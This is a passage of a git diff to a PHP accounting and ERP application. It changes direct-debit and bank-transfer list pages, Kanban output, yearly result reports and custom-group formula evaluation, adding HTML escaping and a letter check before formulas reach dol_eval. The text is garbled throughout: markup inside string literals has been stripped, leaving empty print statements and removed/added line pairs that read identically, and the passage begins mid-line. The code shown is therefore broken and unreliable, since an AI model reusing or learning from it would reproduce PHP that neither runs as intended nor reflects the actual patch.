      '; $labelofbankfield = "BankToReceiveWithdraw"; if ($object->type == 'bank-transfer') { $labelofbankfield = 'BankToPayCreditTransfer'; } - print $langs->trans($labelofbankfield); + + print '
      '; + print $form->textwithpicto($langs->trans("BankAccount"), $langs->trans($labelofbankfield)); print ''; if ($acc->id > 0) { diff --git a/htdocs/compta/prelevement/index.php b/htdocs/compta/prelevement/index.php index d71314a08e2..71677f0051c 100644 --- a/htdocs/compta/prelevement/index.php +++ b/htdocs/compta/prelevement/index.php @@ -86,7 +86,7 @@ print '
      '.$langs->trans("Statistics").''.$langs->trans("NbOfInvoiceToWithdraw").''; -print ''; +print ''; print $bprev->nbOfInvoiceToPay('direct-debit'); print ''; print '
      '.$langs->trans("NoInvoiceToWithdraw", $titlefortab, $titlefortab).'
      '.$langs->trans("NoInvoiceToWithdraw", $titlefortab, $titlefortab).'

      "; } else { diff --git a/htdocs/compta/prelevement/line.php b/htdocs/compta/prelevement/line.php index 186546b74a9..b668880e9d3 100644 --- a/htdocs/compta/prelevement/line.php +++ b/htdocs/compta/prelevement/line.php @@ -62,7 +62,7 @@ if ($sortfield == "") { $sortfield = "pl.fk_soc"; } -$type = $object->type; + if ($type == 'bank-transfer') { $result = restrictedArea($user, 'paymentbybanktransfer', '', '', ''); } else { @@ -312,7 +312,11 @@ if ($id) { print img_object($langs->trans("ShowBill"), "bill"); print ' '; - print ''.$obj->ref."
      '; print img_object($langs->trans("ShowCompany"), "company").' '.$obj->name."
      '; + print '
      '; + } + // Output Kanban + print $bon->getKanbanView(''); + if ($i == ($imaxinloop - 1)) { + print '
      '; + print '
      '; - print $bon->getNomUrl(1); - print "'; + print $bon->getNomUrl(1); + print "'; - print $line->LibStatut($obj->statut_ligne, 2); - print " "; - print ''; - print substr('000000'.$obj->rowid_ligne, -6); - print ''; + print $line->LibStatut($obj->statut_ligne, 2); + print " "; + print ''; + print substr('000000'.$obj->rowid_ligne, -6); + print ''; - $link_to_bill = '/compta/facture/card.php?facid='; - $link_title = 'Invoice'; - $link_picto = 'bill'; - if ($type == 'bank-transfer') { - $link_to_bill = '/fourn/facture/card.php?facid='; - $link_title = 'SupplierInvoice'; - $link_picto = 'supplier_invoice'; + print ''; + $link_to_bill = '/compta/facture/card.php?facid='; + $link_title = 'Invoice'; + $link_picto = 'bill'; + if ($type == 'bank-transfer') { + $link_to_bill = '/fourn/facture/card.php?facid='; + $link_title = 'SupplierInvoice'; + $link_picto = 'supplier_invoice'; + } + print ''; + print img_object($langs->trans($link_title), $link_picto); + print ' '.$obj->invoiceref."'; + print $company->getNomUrl(1); + print "'; + $link_to_tab = '/comm/card.php?socid='; + $link_code = $obj->code_client; + if ($type == 'bank-transfer') { + $link_to_tab = '/fourn/card.php?socid='; + $link_code = $obj->code_fournisseur; + } + print ''.$link_code."'.dol_print_date($db->jdate($obj->datec), 'day')."'.price($obj->amount)." 
      '; - print $company->getNomUrl(1); - print "'; - $link_to_tab = '/comm/card.php?socid='; - $link_code = $obj->code_client; - if ($type == 'bank-transfer') { - $link_to_tab = '/fourn/card.php?socid='; - $link_code = $obj->code_fournisseur; - } - print ''.$link_code."'.dol_print_date($db->jdate($obj->datec), 'day')."'.price($obj->amount)." 
      '; + print '
      '; + } + // Output Kanban + print $directdebitorder->getKanbanView(''); + if ($i == (min($num, $limit) - 1)) { + print '
      '; + print '
      '; - print $directdebitorder->getNomUrl(1); - print "'; + print $directdebitorder->getNomUrl(1); + print "'.dol_print_date($db->jdate($obj->datec), 'day')."'.dol_print_date($db->jdate($obj->datec), 'day')."'.price($obj->amount)."'.price($obj->amount)."'; - print $bon->LibStatut($obj->statut, 5); - print ''; + print $bon->LibStatut($obj->statut, 5); + print '
      '; +print '
      '; print ''; if ($modecompta == 'BOOKKEEPING') { @@ -302,7 +298,7 @@ if ($modecompta == 'BOOKKEEPING') { if (!empty($date_start) && !empty($date_end)) { $sql .= " AND f.doc_date >= '".$db->idate($date_start)."' AND f.doc_date <= '".$db->idate($date_end)."'"; } - $sql .= " GROUP BY pcg_type DESC"; + $sql .= " GROUP BY pcg_type"; if ($showaccountdetail == 'no') { $sql .= ", name, socid"; // group by "accounting group" (INCOME/EXPENSE), then "customer". } @@ -321,7 +317,7 @@ if ($modecompta == 'BOOKKEEPING') { if ($showaccountdetail == 'no') { if ($objp->pcg_type != $oldpcgtype) { - print ''; + print ''; $oldpcgtype = $objp->pcg_type; } } @@ -330,17 +326,17 @@ if ($modecompta == 'BOOKKEEPING') { print ''; print ''; print '\n"; - print '\n"; + print '\n"; print "\n"; } else { print ''; print '\n"; - print '\n"; + print '\n"; print "\n"; } @@ -367,7 +363,7 @@ if ($modecompta == 'BOOKKEEPING') { $cpts = $AccCat->getCptsCat(0, $tmppredefinedgroupwhere); foreach ($cpts as $j => $cpt) { - $return = $AccCat->getSumDebitCredit($cpt['account_number'], $date_start, $date_end, $cpt['dc']); + $return = $AccCat->getSumDebitCredit($cpt['account_number'], $date_start, $date_end, (empty($cpt['dc']) ? 0 : $cpt['dc'])); if ($return < 0) { setEventMessages(null, $AccCat->errors, 'errors'); $resultN = 0; @@ -380,7 +376,7 @@ if ($modecompta == 'BOOKKEEPING') { print ''; print ''; print ''; - print ''; + print ''; print "\n"; } } @@ -1166,7 +1162,7 @@ if ($modecompta == 'BOOKKEEPING') { } print ''; print ''; - print "\n"; + print "\n"; print ''; - print "\n"; + print "\n"; print ''; print ''; if ($modecompta == 'CREANCES-DETTES') { - print ''; + print ''; } elseif ($modecompta == 'RECETTES-DEPENSES') { print ''; } -print ''; +print ''; print ''; print ''; if ($modecompta == 'CREANCES-DETTES') { - print ''; + print ''; } elseif ($modecompta == 'RECETTES-DEPENSES') { print ''; } -print ''; +print ''; print ''; print ''; if ($modecompta == 'CREANCES-DETTES') { - print ''; + print ''; } elseif ($modecompta == 'RECETTES-DEPENSES') { print ''; } -print ''; +print ''; print ''; print "
      '.$objp->pcg_type.'
      '.dol_escape_htmltag($objp->pcg_type).'
      '; - print $objp->pcg_type; - print ($objp->name ? ' ('.$objp->name.')' : ' ('.$langs->trans("Unknown").')'); + print dol_escape_htmltag($objp->pcg_type); + print ($objp->name ? ' ('.dol_escape_htmltag($objp->name).')' : ' ('.$langs->trans("Unknown").')'); print "'.price($objp->amount)."'.price($objp->amount)."
      '; - print $objp->pcg_type; + print dol_escape_htmltag($objp->pcg_type); print "'.price($objp->amount)."'.price($objp->amount)."
          '.length_accountg($cpt['account_number']).' - '.$cpt['account_label'].''.price($resultN).''.price($resultN).'
       ".$langs->trans("Debit")."".$langs->trans("AccountingDebit")."'; if ($modecompta == 'CREANCES-DETTES') { print ''.price(-$obj->amount).''; @@ -1185,7 +1181,7 @@ if ($modecompta == 'BOOKKEEPING') { $total_ttc_income += $obj->amount; } print '
       ".$langs->trans("Credit")."".$langs->trans("AccountingCredit")."'; if ($modecompta == 'CREANCES-DETTES') { print ''.price($obj->amount).''; @@ -1539,27 +1535,27 @@ print '
      '.$langs->trans("Income").''.price(price2num($total_ht_income, 'MT')).''.price(price2num($total_ht_income, 'MT')).''.price(price2num($total_ttc_income, 'MT')).''.price(price2num($total_ttc_income, 'MT')).'
      '.$langs->trans("Outcome").''.price(price2num(-$total_ht_outcome, 'MT')).''.price(price2num(-$total_ht_outcome, 'MT')).''.price(price2num(-$total_ttc_outcome, 'MT')).''.price(price2num(-$total_ttc_outcome, 'MT')).'
      '.$langs->trans("Profit").''.price(price2num($total_ht, 'MT')).''.price(price2num($total_ht, 'MT')).''.price(price2num($total_ttc, 'MT')).''.price(price2num($total_ttc, 'MT')).'
      "; diff --git a/htdocs/compta/resultat/index.php b/htdocs/compta/resultat/index.php index 4012994be58..686f5ff42f7 100644 --- a/htdocs/compta/resultat/index.php +++ b/htdocs/compta/resultat/index.php @@ -36,17 +36,21 @@ require_once DOL_DOCUMENT_ROOT.'/core/lib/date.lib.php'; // Load translation files required by the page $langs->loadLangs(array('compta', 'bills', 'donation', 'salaries')); -$date_startmonth = GETPOST('date_startmonth', 'int'); $date_startday = GETPOST('date_startday', 'int'); +$date_startmonth = GETPOST('date_startmonth', 'int'); $date_startyear = GETPOST('date_startyear', 'int'); -$date_endmonth = GETPOST('date_endmonth', 'int'); $date_endday = GETPOST('date_endday', 'int'); +$date_endmonth = GETPOST('date_endmonth', 'int'); $date_endyear = GETPOST('date_endyear', 'int'); $nbofyear = 4; +// Change this to test different cases of setup +//$conf->global->SOCIETE_FISCAL_MONTH_START = 7; + + // Date range -$year = GETPOST('year', 'int'); +$year = GETPOST('year', 'int'); // this is used for navigation previous/next. It is the last year to show in filter if (empty($year)) { $year_current = dol_print_date(dol_now(), "%Y"); $month_current = dol_print_date(dol_now(), "%m"); @@ -54,28 +58,26 @@ if (empty($year)) { } else { $year_current = $year; $month_current = dol_print_date(dol_now(), "%m"); - $year_start = $year - ($nbofyear - 1); + $year_start = $year - $nbofyear + (getDolGlobalInt('SOCIETE_FISCAL_MONTH_START') > 1 ? 0 : 1); } -$date_start = dol_mktime(0, 0, 0, $date_startmonth, $date_startday, $date_startyear); -$date_end = dol_mktime(23, 59, 59, $date_endmonth, $date_endday, $date_endyear); +$date_start = dol_mktime(0, 0, 0, $date_startmonth, $date_startday, $date_startyear, 'tzserver'); +$date_end = dol_mktime(23, 59, 59, $date_endmonth, $date_endday, $date_endyear, 'tzserver'); // We define date_start and date_end if (empty($date_start) || empty($date_end)) { // We define date_start and date_end $q = GETPOST("q") ? GETPOST("q", 'int') : 0; if ($q == 0) { // We define date_start and date_end - $year_end = $year_start + ($nbofyear - 1); - $month_start = GETPOST("month") ? GETPOST("month", 'int') : ($conf->global->SOCIETE_FISCAL_MONTH_START ? ($conf->global->SOCIETE_FISCAL_MONTH_START) : 1); + $year_end = $year_start + $nbofyear - (getDolGlobalInt('SOCIETE_FISCAL_MONTH_START') > 1 ? 0 : 1); + $month_start = GETPOST("month") ? GETPOST("month", 'int') : getDolGlobalInt('SOCIETE_FISCAL_MONTH_START', 1); if (!GETPOST('month')) { - if (!GETPOST("year") && $month_start > $month_current) { + if (!$year && $month_start > $month_current) { $year_start--; $year_end--; } $month_end = $month_start - 1; if ($month_end < 1) { $month_end = 12; - } else { - $year_end++; } } else { $month_end = $month_start; @@ -149,13 +151,6 @@ $decaiss_ttc = array(); // Affiche en-tete du rapport if ($modecompta == 'CREANCES-DETTES') { $name = $langs->trans("ReportInOut").', '.$langs->trans("ByYear"); - $calcmode = $langs->trans("CalcModeDebt"); - $calcmode .= '
      ('.$langs->trans("SeeReportInInputOutputMode", '{s1}', '{s2}').')'; - $calcmode = str_replace(array('{s1}', '{s2}'), array('', ''), $calcmode); - if (isModEnabled('accounting')) { - $calcmode .= '
      ('.$langs->trans("SeeReportInBookkeepingMode", '{s1}', '{s2}').')'; - $calcmode = str_replace(array('{s1}', '{s2}'), array('', ''), $calcmode); - } $period = $form->selectDate($date_start, 'date_start', 0, 0, 0, '', 1, 0).' - '.$form->selectDate($date_end, 'date_end', 0, 0, 0, '', 1, 0); $periodlink = ($year_start ? "".img_previous()." ".img_next()."" : ""); $description = $langs->trans("RulesAmountWithTaxExcluded"); @@ -172,13 +167,6 @@ if ($modecompta == 'CREANCES-DETTES') { //$exportlink=$langs->trans("NotYetAvailable"); } elseif ($modecompta == "RECETTES-DEPENSES") { $name = $langs->trans("ReportInOut").', '.$langs->trans("ByYear"); - $calcmode = $langs->trans("CalcModeEngagement"); - $calcmode .= '
      ('.$langs->trans("SeeReportInDueDebtMode", '{s1}', '{s2}').')'; - $calcmode = str_replace(array('{s1}', '{s2}'), array('', ''), $calcmode); - if (isModEnabled('accounting')) { - $calcmode .= '
      ('.$langs->trans("SeeReportInBookkeepingMode", '{s1}', '{s2}').')'; - $calcmode = str_replace(array('{s1}', '{s2}'), array('', ''), $calcmode); - } $period = $form->selectDate($date_start, 'date_start', 0, 0, 0, '', 1, 0).' - '.$form->selectDate($date_end, 'date_end', 0, 0, 0, '', 1, 0); $periodlink = ($year_start ? "".img_previous()." ".img_next()."" : ""); $description = $langs->trans("RulesAmountWithTaxIncluded"); @@ -187,11 +175,6 @@ if ($modecompta == 'CREANCES-DETTES') { //$exportlink=$langs->trans("NotYetAvailable"); } elseif ($modecompta == "BOOKKEEPING") { $name = $langs->trans("ReportInOut").', '.$langs->trans("ByYear"); - $calcmode = $langs->trans("CalcModeBookkeeping"); - $calcmode .= '
      ('.$langs->trans("SeeReportInInputOutputMode", '{s1}', '{s2}').')'; - $calcmode = str_replace(array('{s1}', '{s2}'), array('', ''), $calcmode); - $calcmode .= '
      ('.$langs->trans("SeeReportInDueDebtMode", '{s1}', '{s2}').')'; - $calcmode = str_replace(array('{s1}', '{s2}'), array('', ''), $calcmode); $period = $form->selectDate($date_start, 'date_start', 0, 0, 0, '', 1, 0).' - '.$form->selectDate($date_end, 'date_end', 0, 0, 0, '', 1, 0); $periodlink = ($year_start ? "".img_previous()." ".img_next()."" : ""); $description = $langs->trans("RulesAmountOnInOutBookkeepingRecord"); @@ -200,9 +183,25 @@ if ($modecompta == 'CREANCES-DETTES') { //$exportlink=$langs->trans("NotYetAvailable"); } -$hselected = 'report'; +// Define $calcmode line +$calcmode = ''; +if (isModEnabled('accounting')) { + $calcmode .= ''; + $calcmode .= '
      '; +} +$calcmode .= ''; +$calcmode .= '
      '; -report_header($name, '', $period, $periodlink, $description, $builddate, $exportlink, array('modecompta'=>$modecompta), $calcmode); + +report_header($name, '', $period, $periodlink, $description, $builddate, $exportlink, array(), $calcmode); if (isModEnabled('accounting') && $modecompta != 'BOOKKEEPING') { print info_admin($langs->trans("WarningReportNotReliable"), 0, 0, 1); @@ -868,7 +867,7 @@ if (!empty($conf->global->ACCOUNTING_REPORTS_INCLUDE_VARPAY) && isModEnabled("ba //} /* - * Payement Loan + * Payment Loan */ if (!empty($conf->global->ACCOUNTING_REPORTS_INCLUDE_LOAN) && isModEnabled('loan') && ($modecompta == 'CREANCES-DETTES' || $modecompta == "RECETTES-DEPENSES")) { @@ -996,17 +995,18 @@ $reshook = $hookmanager->executeHooks('addReportInfo', $parameters, $object, $ac $totentrees = array(); $totsorties = array(); +$year_end_for_table = ($year_end - (getDolGlobalInt('SOCIETE_FISCAL_MONTH_START') > 1 ? 1 : 0)); print '
      '; print ''."\n"; print ''; -for ($annee = $year_start; $annee <= $year_end; $annee++) { +for ($annee = $year_start; $annee <= $year_end_for_table; $annee++) { print ''; @@ -1014,7 +1014,7 @@ for ($annee = $year_start; $annee <= $year_end; $annee++) { print ''; print ''; // Loop on each year to ouput -for ($annee = $year_start; $annee <= $year_end; $annee++) { +for ($annee = $year_start; $annee <= $year_end_for_table; $annee++) { print ''; print ""; - for ($annee = $year_start; $annee <= $year_end; $annee++) { + for ($annee = $year_start; $annee <= $year_end_for_table; $annee++) { $annee_decalage = $annee; if ($mois > 12) { $annee_decalage = $annee + 1; @@ -1100,7 +1100,7 @@ if ($modecompta == 'CREANCES-DETTES' || $modecompta == 'BOOKKEEPING') { print $langs->trans("TotalTTC"); } print ''; -for ($annee = $year_start; $annee <= $year_end; $annee++) { +for ($annee = $year_start; $annee <= $year_end_for_table; $annee++) { $nbcols += 2; print ''; print ''; @@ -1115,7 +1115,7 @@ print "\n"; // Balance print ''; -for ($annee = $year_start; $annee <= $year_end; $annee++) { +for ($annee = $year_start; $annee <= $year_end_for_table; $annee++) { print ''; - // Year NP - print ''; @@ -335,72 +338,109 @@ if ($modecompta == 'CREANCES-DETTES') { // Previous Fiscal year (N-1) foreach ($sommes as $code => $det) { - $vars[$code] = $det['NP']; + $vars[$code] = empty($det['NP']) ? 0 : $det['NP']; } $result = strtr($formula, $vars); + $result = str_replace('--', '+', $result); - //var_dump($result); - //$r = $AccCat->calculate($result); - $r = dol_eval($result, 1, 1, '1'); - //var_dump($r); + if (preg_match('/[a-z]/i', $result)) { + $r = 'Error bad formula: '.$result; + $rshort = 'Err'; + print ''; + } else { + //var_dump($result); + //$r = $AccCat->calculate($result); + $r = dol_eval($result, 1, 1, '1'); + if (is_nan($r)) { + $r = 0; + } - print ''; + print ''; + } // Year N $code = $cat['code']; // code of categorie ('VTE', 'MAR', ...) - $sommes[$code]['NP'] += $r; + if (empty($sommes[$code]['NP'])) { + $sommes[$code]['NP'] = $r; + } else { + $sommes[$code]['NP'] += $r; + } // Current fiscal year (N) if (is_array($sommes) && !empty($sommes)) { foreach ($sommes as $code => $det) { - $vars[$code] = $det['N']; + $vars[$code] = empty($det['N']) ? 0 : $det['N']; } } $result = strtr($formula, $vars); + $result = str_replace('--', '+', $result); //$r = $AccCat->calculate($result); - $r = dol_eval($result, 1, 1, 1); + $r = dol_eval($result, 1, 1, '1'); + if (is_nan($r)) { + $r = 0; + } - print ''; - $sommes[$code]['N'] += $r; + print ''; + if (empty($sommes[$code]['N'])) { + $sommes[$code]['N'] = $r; + } else { + $sommes[$code]['N'] += $r; + } // Detail by month foreach ($months as $k => $v) { if (($k + 1) >= $date_startmonth) { foreach ($sommes as $code => $det) { - $vars[$code] = $det['M'][$k]; + $vars[$code] = empty($det['M'][$k]) ? 0 : $det['M'][$k]; } $result = strtr($formula, $vars); + $result = str_replace('--', '+', $result); //$r = $AccCat->calculate($result); - $r = dol_eval($result, 1, 1, 1); + $r = dol_eval($result, 1, 1, '1'); + if (is_nan($r)) { + $r = 0; + } print ''; - $sommes[$code]['M'][$k] += $r; + if (empty($sommes[$code]['M'][$k])) { + $sommes[$code]['M'][$k] = $r; + } else { + $sommes[$code]['M'][$k] += $r; + } } } + foreach ($months as $k => $v) { if (($k + 1) < $date_startmonth) { foreach ($sommes as $code => $det) { - $vars[$code] = $det['M'][$k]; + $vars[$code] = empty($det['M'][$k]) ? 0 : $det['M'][$k]; } $result = strtr($formula, $vars); + $result = str_replace('--', '+', $result); //$r = $AccCat->calculate($result); - $r = dol_eval($result, 1, 1, 1); + $r = dol_eval($result, 1, 1, '1'); + if (is_nan($r)) { + $r = 0; + } print ''; - $sommes[$code]['M'][$k] += $r; + if (empty($sommes[$code]['M'][$k])) { + $sommes[$code]['M'][$k] = $r; + } else { + $sommes[$code]['M'][$k] += $r; + } } } print "\n"; //var_dump($sommes); - } else // normal category - { + } else { // normal category $code = $cat['code']; // Category code we process $totCat = array(); @@ -414,27 +454,37 @@ if ($modecompta == 'CREANCES-DETTES') { // Set $cpts with array of accounts in the category/group $cpts = $AccCat->getCptsCat($cat['rowid']); // We should loop over empty $cpts array, else the category _code_ is used in the formula, which leads to wrong result if the code is a number. - if (empty($cpts)) $cpts[] = array(); - + if (empty($cpts)) { + $cpts[] = array(); + } $arrayofaccountforfilter = array(); foreach ($cpts as $i => $cpt) { // Loop on each account. - $arrayofaccountforfilter[] = $cpt['account_number']; + if (isset($cpt['account_number'])) { + $arrayofaccountforfilter[] = $cpt['account_number']; + } } // N-1 if (!empty($arrayofaccountforfilter)) { - $return = $AccCat->getSumDebitCredit($arrayofaccountforfilter, $date_start_previous, $date_end_previous, $cat['dc'] ? $cat['dc'] : 0); - + $return = $AccCat->getSumDebitCredit($arrayofaccountforfilter, $date_start_previous, $date_end_previous, empty($cat['dc']) ? 0 : $cat['dc']); if ($return < 0) { setEventMessages(null, $AccCat->errors, 'errors'); $resultNP = 0; } else { - foreach ($cpts as $i => $cpt) { // Loop on each account. + foreach ($cpts as $i => $cpt) { // Loop on each account found $resultNP = empty($AccCat->sdcperaccount[$cpt['account_number']]) ? 0 : $AccCat->sdcperaccount[$cpt['account_number']]; - $totCat['NP'] += $resultNP; - $sommes[$code]['NP'] += $resultNP; + if (empty($totCat['NP'])) { + $totCat['NP'] = $resultNP; + } else { + $totCat['NP'] += $resultNP; + } + if (empty($sommes[$code]['NP'])) { + $sommes[$code]['NP'] = $resultNP; + } else { + $sommes[$code]['NP'] += $resultNP; + } $totPerAccount[$cpt['account_number']]['NP'] = $resultNP; } } @@ -456,63 +506,88 @@ if ($modecompta == 'CREANCES-DETTES') { } //var_dump($monthtoprocess.'_'.$yeartoprocess); - $return = $AccCat->getSumDebitCredit($cpt['account_number'], $date_start, $date_end, $cat['dc'] ? $cat['dc'] : 0, 'nofilter', $monthtoprocess, $yeartoprocess); - if ($return < 0) { - setEventMessages(null, $AccCat->errors, 'errors'); - $resultM = 0; + if (isset($cpt['account_number'])) { + $return = $AccCat->getSumDebitCredit($cpt['account_number'], $date_start, $date_end, empty($cat['dc']) ? 0 : $cat['dc'], 'nofilter', $monthtoprocess, $yeartoprocess); + if ($return < 0) { + setEventMessages(null, $AccCat->errors, 'errors'); + $resultM = 0; + } else { + $resultM = $AccCat->sdc; + } } else { - $resultM = $AccCat->sdc; + $resultM = 0; + } + if (empty($totCat['M'][$k])) { + $totCat['M'][$k] = $resultM; + } else { + $totCat['M'][$k] += $resultM; + } + if (empty($sommes[$code]['M'][$k])) { + $sommes[$code]['M'][$k] = $resultM; + } else { + $sommes[$code]['M'][$k] += $resultM; + } + if (isset($cpt['account_number'])) { + $totPerAccount[$cpt['account_number']]['M'][$k] = $resultM; } - $totCat['M'][$k] += $resultM; - $sommes[$code]['M'][$k] += $resultM; - $totPerAccount[$cpt['account_number']]['M'][$k] = $resultM; $resultN += $resultM; } - $totCat['N'] += $resultN; - $sommes[$code]['N'] += $resultN; - $totPerAccount[$cpt['account_number']]['N'] = $resultN; + if (empty($totCat)) { + $totCat['N'] = $resultN; + } else { + $totCat['N'] += $resultN; + } + if (empty($sommes[$code]['N'])) { + $sommes[$code]['N'] = $resultN; + } else { + $sommes[$code]['N'] += $resultN; + } + if (isset($cpt['account_number'])) { + $totPerAccount[$cpt['account_number']]['N'] = $resultN; + } } // Now output columns for row $code ('VTE', 'MAR', ...) - print ""; + print ''; // Column group - print ''; // Label of group - print ''; print ''; - print ''; + print ''; // Each month foreach ($totCat['M'] as $k => $v) { @@ -531,30 +606,48 @@ if ($modecompta == 'CREANCES-DETTES') { // Loop on detail of all accounts to output the detail if ($showaccountdetail != 'no') { foreach ($cpts as $i => $cpt) { - $resultNP = $totPerAccount[$cpt['account_number']]['NP']; - $resultN = $totPerAccount[$cpt['account_number']]['N']; + if (isset($cpt['account_number'])) { + $resultNP = $totPerAccount[$cpt['account_number']]['NP']; + $resultN = $totPerAccount[$cpt['account_number']]['N']; + } else { + $resultNP = 0; + $resultN = 0; + } if ($showaccountdetail == 'all' || $resultN != 0) { print ''; print ''; - print ''; print ''; - print ''; + print ''; // Make one call for each month foreach ($months as $k => $v) { if (($k + 1) >= $date_startmonth) { - $resultM = $totPerAccount[$cpt['account_number']]['M'][$k]; + if (isset($cpt['account_number'])) { + $resultM = $totPerAccount[$cpt['account_number']]['M'][$k]; + } else { + $resultM = 0; + } print ''; } } foreach ($months as $k => $v) { if (($k + 1) < $date_startmonth) { - $resultM = $totPerAccount[$cpt['account_number']]['M'][$k]; + if (isset($cpt['account_number'])) { + $resultM = empty($totPerAccount[$cpt['account_number']]['M'][$k]) ? 0 : $totPerAccount[$cpt['account_number']]['M'][$k]; + } else { + $resultM = 0; + } print ''; } } diff --git a/htdocs/compta/sociales/card.php b/htdocs/compta/sociales/card.php index 7c644c63e38..adb525c7d5e 100644 --- a/htdocs/compta/sociales/card.php +++ b/htdocs/compta/sociales/card.php @@ -557,7 +557,7 @@ if ($id > 0) { $morehtmlref .= ''; $morehtmlref .= ''; } else { - $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, 0, $object->fk_project, 'none', 0, 0, 0, 1); + $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, 0, $object->fk_project, 'none', 0, 0, 0, 1, '', 'maxwidth300'); } } else { if (!empty($object->fk_project)) { @@ -632,7 +632,7 @@ if ($id > 0) { print '
       '; - print ''; + print ''; print $annee; - if ($conf->global->SOCIETE_FISCAL_MONTH_START > 1) { + if (getDolGlobalInt('SOCIETE_FISCAL_MONTH_START') > 1) { print '-'.($annee + 1); } print '
      '.$langs->trans("Month").''; $htmlhelp = ''; // if ($modecompta == 'RECETTES-DEPENSES') $htmlhelp=$langs->trans("PurchasesPlusVATEarnedAndDue"); @@ -1039,7 +1039,7 @@ for ($mois = 1 + $nb_mois_decalage; $mois <= 12 + $nb_mois_decalage; $mois++) { print '
      ".dol_print_date(dol_mktime(12, 0, 0, $mois_modulo, 1, $annee), "%B")."'.(isset($totsorties[$annee]) ?price(price2num($totsorties[$annee], 'MT')) : ' ').''.(isset($totentrees[$annee]) ?price(price2num($totentrees[$annee], 'MT')) : ' ').'
      '.$langs->trans("AccountingResult").' '; if (isset($totentrees[$annee]) || isset($totsorties[$annee])) { $in = (isset($totentrees[$annee]) ?price2num($totentrees[$annee], 'MT') : 0); diff --git a/htdocs/compta/resultat/result.php b/htdocs/compta/resultat/result.php index 3f3e14e2d61..8fb4310692e 100644 --- a/htdocs/compta/resultat/result.php +++ b/htdocs/compta/resultat/result.php @@ -56,15 +56,18 @@ $date_endyear = GETPOST('date_endyear', 'int'); $nbofyear = 1; +// Change this to test different cases of setup +//$conf->global->SOCIETE_FISCAL_MONTH_START = 7; + // Date range -$year = GETPOST('year', 'int'); +$year = GETPOST('year', 'int'); // year with current month, is the month of the period we must show if (empty($year)) { $year_current = dol_print_date(dol_now('gmt'), "%Y", 'gmt'); - $month_current = strftime("%m", dol_now()); + $month_current = dol_print_date(dol_now(), "%m"); $year_start = $year_current - ($nbofyear - 1); } else { $year_current = $year; - $month_current = strftime("%m", dol_now()); + $month_current = dol_print_date(dol_now(), "%m"); $year_start = $year - ($nbofyear - 1); } $date_start = dol_mktime(0, 0, 0, $date_startmonth, $date_startday, $date_startyear); @@ -72,14 +75,14 @@ $date_end = dol_mktime(23, 59, 59, $date_endmonth, $date_endday, $date_endyear); // We define date_start and date_end if (empty($date_start) || empty($date_end)) { // We define date_start and date_end - $q = GETPOST("q") ?GETPOST("q") : 0; + $q = GETPOST("q") ?GETPOST("q", 'int') : 0; if ($q == 0) { // We define date_start and date_end $year_end = $year_start + ($nbofyear - 1); $month_start = GETPOST("month", 'int') ?GETPOST("month", 'int') : ($conf->global->SOCIETE_FISCAL_MONTH_START ? ($conf->global->SOCIETE_FISCAL_MONTH_START) : 1); $date_startmonth = $month_start; if (!GETPOST('month')) { - if (!GETPOST("year") && $month_start > $month_current) { + if (!$year && $month_start > $month_current) { $year_start--; $year_end--; } @@ -141,7 +144,7 @@ $modecompta = $conf->global->ACCOUNTING_MODE; if (isModEnabled('accounting')) { $modecompta = 'BOOKKEEPING'; } -if (GETPOST("modecompta")) { +if (GETPOST("modecompta", 'alpha')) { $modecompta = GETPOST("modecompta", 'alpha'); } @@ -158,7 +161,7 @@ if (isModEnabled('comptabilite')) { if (isModEnabled('accounting')) { $result = restrictedArea($user, 'accounting', '', '', 'comptarapport'); } - +$hookmanager->initHooks(['resultreportlist']); /* * View @@ -184,8 +187,8 @@ llxheader('', $langs->trans('ReportInOut')); $formaccounting = new FormAccounting($db); $form = new Form($db); -$textprevyear = ''.img_previous().''; -$textnextyear = ' '.img_next().''; +$textprevyear = ''.img_previous().''; +$textnextyear = '   '.img_next().''; @@ -228,8 +231,8 @@ if ($modecompta == "CREANCES-DETTES") { //$calcmode.='
      ('.$langs->trans("SeeReportInDueDebtMode",'','').')'; //$calcmode.='
      ('.$langs->trans("SeeReportInInputOutputMode",'','').')'; $period = $form->selectDate($date_start, 'date_start', 0, 0, 0, '', 1, 0).' - '.$form->selectDate($date_end, 'date_end', 0, 0, 0, '', 1, 0); - $arraylist = array('no'=>$langs->trans("No"), 'yes'=>$langs->trans("AccountWithNonZeroValues"), 'all'=>$langs->trans("All")); - $period .= '     '.$langs->trans("DetailByAccount").' '.$form->selectarray('showaccountdetail', $arraylist, $showaccountdetail, 0); + $arraylist = array('no'=>$langs->trans("None"), 'yes'=>$langs->trans("AccountWithNonZeroValues"), 'all'=>$langs->trans("All")); + $period .= '     '.$langs->trans("DetailBy").' '.$form->selectarray('showaccountdetail', $arraylist, $showaccountdetail, 0); $periodlink = $textprevyear.$textnextyear; $exportlink = ''; $description = $langs->trans("RulesResultBookkeepingPersonalized"); @@ -309,8 +312,8 @@ if ($modecompta == 'CREANCES-DETTES') { if (!is_array($cats) && $cats < 0) { setEventMessages(null, $AccCat->errors, 'errors'); } elseif (is_array($cats) && count($cats) > 0) { + // Loop on each custom group of accounts foreach ($cats as $cat) { - // Loop on each group if (!empty($cat['category_type'])) { // category calculed // When we enter here, $sommes was filled by group of accounts @@ -319,10 +322,10 @@ if ($modecompta == 'CREANCES-DETTES') { print '
      '; + // Code and Label + print ''; print dol_escape_htmltag($cat['code']); - print ''; + print ''; print dol_escape_htmltag($cat['label']); print ''.$rshort.''.price($r).''.price($r).''.price($r).''.price($r).''.price($r).''.price($r).'
      '; + print ''; print dol_escape_htmltag($cat['code']); print ''; - print dol_escape_htmltag($cat['label']); + $labeltoshow = dol_escape_htmltag($cat['label']); if (count($cpts) > 0 && !empty($cpts[0])) { // Show example of 5 first accounting accounts $i = 0; foreach ($cpts as $cpt) { if ($i > 5) { - print '...)'; + $labeltoshow .= '...)'; break; } if ($i > 0) { - print ', '; + $labeltoshow .= ', '; } else { - print ' ('; + $labeltoshow .= ' ('; } - print dol_escape_htmltag($cpt['account_number']); + $labeltoshow .= dol_escape_htmltag($cpt['account_number']); $i++; } if ($i <= 5) { - print ')'; + $labeltoshow .= ')'; } } else { - print ' - '.$langs->trans("GroupIsEmptyCheckSetup").''; + $labeltoshow .= ' - '.$langs->trans("GroupIsEmptyCheckSetup").''; } + print ''; + print $labeltoshow; print ''.price($totCat['NP']).''.price($totCat['N']).''.price($totCat['N']).'
